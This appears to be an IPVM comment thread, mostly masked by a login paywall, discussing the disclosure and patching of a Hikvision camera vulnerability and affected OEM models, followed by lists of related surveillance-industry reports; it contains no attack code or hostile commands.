*******, ** ***** ** talk ** ***********, ****'********** ** *** ****** disclosure **** ***** ******. **** ** *** key *******:

******* **** ********* ******* only ******* ******** ****** by ***********, *** *** flash ********* **** ** render ******** ** ********* of ********* ******* *********** unusable **** **** *** simple **** ****.

** *** '***********' ** fairly ******* ***** *** bad *** ********* ******** is.

** ***** ** *********, the ******* ** ** many ****** ** **** industry ****** ************* **********. The ***** '*** ****** could **** ** ***** so *** *****!'

*** **** ** **** live **** ** ** show ****** **** ***** *** why **** ****** **** about *************.

*** ******** ** ****** the ****** ** ******** is **** ***** ***. Many ************* **** ** keep ***** *** ***** to ***** ***** ** require ** ***. *** the **** *** *** there *** ***********.

** ** ***'* **** it, ****** **** **** it *** ***** *****. Some ************* ******** **** their ***.

 

********* **** ********** *** a ***** *****, ** was *** ** **** forward * ****** *** remote *******, ***********, ***. End ** *****. *** end **** *** *** use ** **** *** anymore, *** ***** ***. Or **** *** ** app ** **** *** camera *** ** **** works.

*** ******** ***** ** be ** *** ******.

****** *** **** **** thru *** ****** ***** network **** ********* **** or ** *** ********** it ** *** ******** is ******* * * key **** ** ******** by ****** *** ******* in ***** **********.

*** *** ********** ** iran **** ********* ** connected ** *** ********? Even *** ****** ******* need **** ***** ********. 

*** *** ********** ** iran **** ********* ** connected ** *** ********? Even *** ****** ******* need **** ***** ********.

**** ** ** ********* example ** *** *** cannot **** ** ******** device ****** ****** ** network ************ *****. *** can ******** *** ****, but *** ********* **.

 

**** ******-** ** **** 'conversation' **** *** ********* rep *** ***** ***...

*** ** **** ******* directed **?

* **** ****** ** comment ** *** ******** part.
****** *** ******* ** your *** *** *** published ** *** ******** does ***
**** ******* ***'* *** in. ** ** ******** the ******* ******, ** is *********
***** ****** ** **** cost ********* ******. ***** tend ** ** ***** stores ***
***** ***** ***********. **** of ***** ********* ***** free **** ** ***** customers.
*************, ******** ** ***** people **** **** *** router (***/**** ********)
***** ****** *** ******, Cameras *** ********* ****. Hopefully **** ****
******* *** ******* ******** on *** ******. *** it ** ********* **** for * ******
** *** *****, *** the **** ******* *** monitor *** ******* *********** **** transactions.

* ***** **** ** further ** ******** *** that **'* **** **** to ******** * ***** recording
****** ***** * ********* Pi, **** ** ** to *** ******** *** have ** ****** *** closing
********* ** *** ********. Now *** ****** *** sufficient *********** ** *** the *****.
********, * **** **** many ****** ***** *** camera ******** ******* *** code ** ***
**** *** **** ***** to ***** ** ****** overnight.

******, ** *** **** exploits *** *******!!!
***** ** ****** * way **, **'* **** a ****** ** *** difficult *** **** ** for *** *******.
**** ******* **** *** in, ****** ********** ****, effort, ****** (*** ****** engineering). *** **** *******, all ****** ******* ** the *****, ******* **** knowledge, **** **** * field ***.

*** *** *** ********* on ********* **** *** already ******** **? **** exploit *** **** *******. Common ***** ***** ** people ****** ** ********* the ******** **** ***** this.

**** **** ** *** show ** ** ******* in *** ******* ********.

*** ******** ******** ******* the **** **** ***** was * *************, *** the ******* *** *** been ******** *********. ***** this ******* * ****** of **** *** ********* users, ***** *** ** least *** ******* **** specifics **** *** ******** known.

***, *** ********** ****** the ******* *** ******** full *******, ***** *** significantly ********* *** **** to ********* ****** ******. This ** *** ** released *** *** ****** (*** why ********* ****** **** proactively ******** *********).

***, *** ******** *** patched **** *******, ******* *** tests **** ******** ** thousands ** ******* **** direct ************* *** ***** vulnerable. ******* ******* ****** need ** ***** ** updated, ** **** *** vulnerable ** ****** ******* if *** ******** ********* to *** ********.

**** **** ** *** show ** ** ******* in *** ******* ********.

***** *********'* ***** ****** of *************** *** ********, it *** ** **** a ****** ** **** before **** ** ****. I **** *** ** not ***** **** *** current ******** ** ******* the *** **** *** removed *** ********, *********, and ***** **** **** compromise *** ******** ** Hikvision *******, ** **** would ** **** ********.

** **'* ********** ************** to **** **** ********* are ********* ***** ********? If *** *** **, patching * ******** ** a **** ***** ******.

**, ** ** ***** responsibility ** **** **** their ******** **** *** have ****** *********** ********* in *** ***** *****.

******** ******** ** * good ***** ****** ** you *** ****** ******* bugs, ****-**** *********, *** enhancing *************. ******** ******** to ***** ***** ********* is **** ****** * bank ****** *** * good ***** ****** ** returning ***** ** *** occasions ** ** ******.

******* ****** **** **** is ********* ** **** people *** ****** "******** recovery *********" *** ******* them ** *** ********.  Thus, **** ******* ** out ***** *** *****.  It ** ********* *** a *** ****** *** end **** ** **** about **** *** ******* against **.  **********, ** was * ************* ** theory, *** *** ***** exploit **, *** *** had ** **** ***'* word ** ** ** to **** ** ***, how *** ** ***, etc.  

*** ***** ** ***** that ** ***'* **** a "********* **********" ** they ***** ** **** it, ** ********* ******* pages, ***.  ** ** a **** ****.

** ****** *** ***'*/***'* update *** ******** ** installed *******, *** **** could **** *********, *** force ***** ** ****** firmware. **** *** ****** their *****, *** *** stand ****** ***** ***** partners (***** ***/*** ******* & *****), *** **** clearly ****** ****** (***** off) ** **** *** service. 

**** ** **** * basic *******. ** ********* modification ** **** ** cookies, ***.  **** ** even ***** **** *** Sony ******** ******** ***** from **** ****.

****** **** ****** **** shut **** *** **** and ***** **** ***** is/is ** ********, ***.  Any ******* **** **** than * *** *********** and *** *** *** fresh *** ** ****** would ***** ***** **** in.  ***** *** ** many ***** *********** **** to **** ****.  ** they ***** ***** ********, they ***** **** ***** care ** **** ** their *** *** ****** it **** ** * "security ***********" *** ** it **** **** *** in *** ******** **** brush ** *** ** a *********** ***** **** was ***** **** **.

*******, ********** **** ** find **** ** ***** own *** ******* ** to **** *********** ** expose ** ** ***** them ** *** **.

** *** *** **** market *****, ** ** still ***** **************.  **** if *** ******** *** designed *** *** ******* market, ** ***** ** be *****.  ** ** still * ****** ************ by ****, ** ***** their ********.  *** ** story.

********* *** ***** **** to ***** ******** ******** they ***** ***** *** Apple/Android/Windows ****** ***** *** push ******* ** ******* devices.  ******* ** ****'* work ** **** * couple ** ***** **** with **** ****** *** other ******* ********** ****** app ****** ******** ******* accidentally.  ** **** ***** past ****** **.

*** ******* ***** ** OEM's ********* *** ******** too? ** **** *******, this ***** ******* ******** the ****** ** ********** devices ***** ***** ******. Did *** ******* ******** OEM ****** ** *** amounts ********* *****? 

***, **** ***** * section ********** ************* ** OEM *******:

OEMs **********

**** ******** *** **** found ** *** *******, we ****** *** ********* cameras *** ***** **** vulnerable:

  • *** *********-*** ** ******** V5.4.0build ******
  • ***** **** ****** - 0E-21BF40 -****** ** ******** V5.3.0build ******

***** ********* *** ******* are ****** ********** ** well, *********** ********** *** number ** ********** ******* online *************.

****** *****, ** ***** be **** *********** ** you ***** ****** *** numbers ** ********** ******* found ** ****** ********* OEMs ** *** *** full *********/****** ** **** exploit. *** * ***** understand ** **** ** too **** **** ☺️

*'** **** ******* *** of ***** *** ** home. **** ***** *** there ** **? 

** ******** ***** *** all ****** ********* ***. but ** ** *****, what **** ***** * criminal ** ******* **** me *** ** ** camera ** *** ** my ********? 

**** *** ****** ** on *** **** *** as *** ******* **** PCs **** ******* ****** passwords, ****** *****, *** return ****, ****** ******** numbers, ***.?

 

********* ***** *** *** cameras **** *** ********, the **** ** **** ********************* ** ****.

**** ********* *************** ***** exist **** ********** **** be ********** *** ********* is ********** ** *****. It ***** **** ** trust ** *** ********.

* ******* ** ******. Good ** **** ****, thank ***. 

** **** ****** **. Date ***** ** *** is **/****   **:**.*.********

****----- ***** ****** **** the ******* *** ******* the ****, **** ****** should ** ****. 

******** *** ****** ** the ****** ******** (********* it's ***** *** *** model) ** *** ***** step, *** *** ****** probably ** ***** ***** that **** ****** *****'* have **** ******* ****** you ******* *** ******. That ****** ******* ** least *** ****** ** its ******** ** ********, even ** *** ******* and ******* ******* **** turned *** **** *** camera ** *******. ** you **** ****** ****** to *** ******, *** a *** *** *******.

********* *********, **'* ***** situational. ******* *** *** access ** *** ****** somehow ******** **** **** to **** **** ***'** not ****, *** ** the ****** ** ** your ***** ******* **** all *** ***** ****, it ***** ** *****. If ** **** ***** the ****** ******* ********** to *** ********, **'* only * ****** ** time ****** ******* ****** your **** *** ******* it, ******* **** ** prank *** ** *** on **** ******** **** just *** ***** ** not ******.

** *** ****** ** not ********** *** ******** and ****** ****** *** internet, **'* ****** *** house *** ***'** ********* your ***** ******* ***'* have ***** ******* ** such ******, **'* ******** fairly **** ** *** it. **'* *** **** where ******* ******* **** house *** **** ** that ***** ** * risk **** ***** ***** of ***** *********.

...

****** -

** ******** *** ********* video, ******* **** *** simple ** ** ** utilize **** ******* ** retrieve ** ***** ******** and ****** *********** **** a ******. ** **** show *** ******** ***** tool ** ***:

*****,

**** ** ***** "********" works **** *.*.* ********

**** ** ********, ** it *** ***** ** version *.*.* (******** ** ***** 2017) *** **** ******.

**** *********'* "*********-********** ************* Notice":

********* ******** ** **** and ** ************* ************ *** **** ****:

** == **** ********??!

** == **** ********??!

***, ***** *** *** clarifying ****.

**, ** **** *******, is "******* **, ********* ** Hikvision *** ***. *** Hikvision ****** ***"

******, ******.

*** ******* ** ***** overly ********* ***** *******. * **** ***** read *** ******** ** "********* offensive ******** ***** ***** and *** ******* ******."

* ******* ** ** correct ** "*****" = Chinese ********** *** "******* people" = ********* *********.

*** **** ********* ******** to ****** *** *******? They ****** ***** ** continuous ************** *** ******* improvement.

****** **** ******* ** reminding ***** **** ************* ** a ******* *** ******** instead ** ****** * ***** pot **** ** ***** (*** is ************* ****** *** street) ** *** ***** in * ************ ******, *** spoke ***** *** **** threats. ** ***** ** difference ***** ************ *** prefer ******** ** ***** to **** ** ************* because ** ** ** ongoing ****** ** *** equipment. 

** ***** ***** *** finger ** ** *****, but remember **** *** ***** one ****** ** ** you *** ******** ***** at ********!

****** **** ******* ** reminding ***** **** ************* is * ******* *** everyone

***** ****** ** ** **** cybersecurity * ***-***** ** arguing **** ******** *** the **** ***** ******** problems. *** *********'* ***** record ** *** **** year (**** * ***** string ********, * *********** online *******, ******** ********* in ***** ****, ******* security *****, ***.) **** otherwise.

* *** ********* ********** the ***** ***** ****** to ** **** *** the ********** ******* ** factually *****.

“***** ***** **** * fool, ********* *** *** be **** ** **** the **********.”
― **** *****

**, *** ****** **** are *****?

****, * ****’* ** it *** * ** find ** *****!

Login to read this IPVM report.
Why do I need to log in?
IPVM conducts unique testing and research funded by member's payments enabling us to offer the most independent, accurate and in-depth information.

Related Reports

Anyvision Facial Recognition Tested on Aug 21, 2019
Anyvision is aiming for $1 billion in revenue by 2022, backed by $74 million in funding. But does their performance live up to the hype they have...
Axis Door Station A8207-VE Tested on Aug 07, 2019
Axis newest door station, the A8207-VE, claims to deliver "video surveillance, two-way communication, and access control" in a single device. But...
Dahua Wiretapping Vulnerability on Aug 02, 2019
IPVM has validated, with testing, and from Dahua, that many Dahua cameras have a wiretapping vulnerability. Even if the camera's audio has been...
Ionodes Company Profile on Jul 31, 2019
What happened to Ionodes? With seasoned leadership from Jean-Paul Saindon founder of SmartSight and Dr. Michael Gilge, founder of VCS, back in...
Fujifilm Expanding Into Video Surveillance on Jul 26, 2019
While Sony continues to fade out of the video surveillance market and Canon continues to make huge investments into acquiring video surveillance...
Last Chance - Camera Course Summer 2019 on Jul 11, 2019
Last day to register is Thursday, July 11, 2019. This is the only independent surveillance camera course, based on in-depth product and technology...
Poor OSDP Usage Statistics 2019 on Jul 09, 2019
OSDP certainly offers advantages over decades-old Wiegand (see our OSDP Access Control Guide) but new IPVM statistics show that usage of OSDP, even...
Verkada Attacks ONVIF on Jun 27, 2019
Verkada has now gone after ONVIF, expanding its attacks against the 'dinosaurs' of the 'ancient' video surveillance industry. In a recent...
FLIR Saros Visible / Thermal Analytic Camera Tested on Jun 26, 2019
FLIR's Saros claims "accurate, actionable alerts" with a combination of 1080p visible and dual thermal sensors along with IR and white light...
IFSEC 2019 Show Report on Jun 19, 2019
The UK's largest trade show, IFSEC, is underway and IPVM has been examining what is new and happening at the show. Inside, we cover: Huawei...

Most Recent Industry Reports

TMA Apologizes to Amazon / Ring on Aug 23, 2019
Not only is Amazon / Ring making major incursions into the residential security market, the organization representing the biggest incumbents, The...
China Dahua Replaces Their Software With US Pepper on Aug 22, 2019
What does a US government banned company do to improve its security positioning in the US? Well, Dahua is unveiling a novel solution, partnering...
Security Integrators Outlook On Remaining Integrators In 2025 on Aug 22, 2019
The industry has changed substantially in the last decade, with the rise of IP cameras and the race to the bottom. Indeed, more changes may be...
First GDPR Facial Recognition Fine For Sweden School on Aug 22, 2019
A school in Sweden has been fined $20,000 for using facial recognition to keep attendance in what is Sweden's first GDPR fine. Notably, the fine is...
Anyvision Facial Recognition Tested on Aug 21, 2019
Anyvision is aiming for $1 billion in revenue by 2022, backed by $74 million in funding. But does their performance live up to the hype they have...
JCI Sues Wyze on Aug 21, 2019
The mega manufacturer / integrator JCI has sued the fast-growing $20 camera Seattle startup Wyze. Inside this note: Share the court...
Dahua 4K Camera Shootout on Aug 20, 2019
Dahua's new Pro Series 4K N85CL5Z claims to "deliver superior images in all lighting and environmental conditions", but how does this compare to...
ZK Teco Atlas Access Control Tested on Aug 20, 2019
Who needs access specialists? China-based ZKTeco claims its newest access panel 'makes it very easy for anyone to learn and install access control...
Uniview Beats Intel In Trademark Lawsuit on Aug 19, 2019
Uniview has won a long-running trademark lawsuit brought by Intel, with Beijing's highest court reversing an earlier Intel win, centered on...
Suprema Biometric Mass Leak Examined on Aug 19, 2019
While Suprema is rarely discussed even within the physical security market, the South Korean biometrics manufacturer made global news this past...

The world's leading video surveillance information source, IPVM provides the best reporting, testing and training for 10,000+ members globally. Dedicated to independent and objective information, we uniquely refuse any and all advertisements, sponsorship and consulting from manufacturers.

About | FAQ | Contact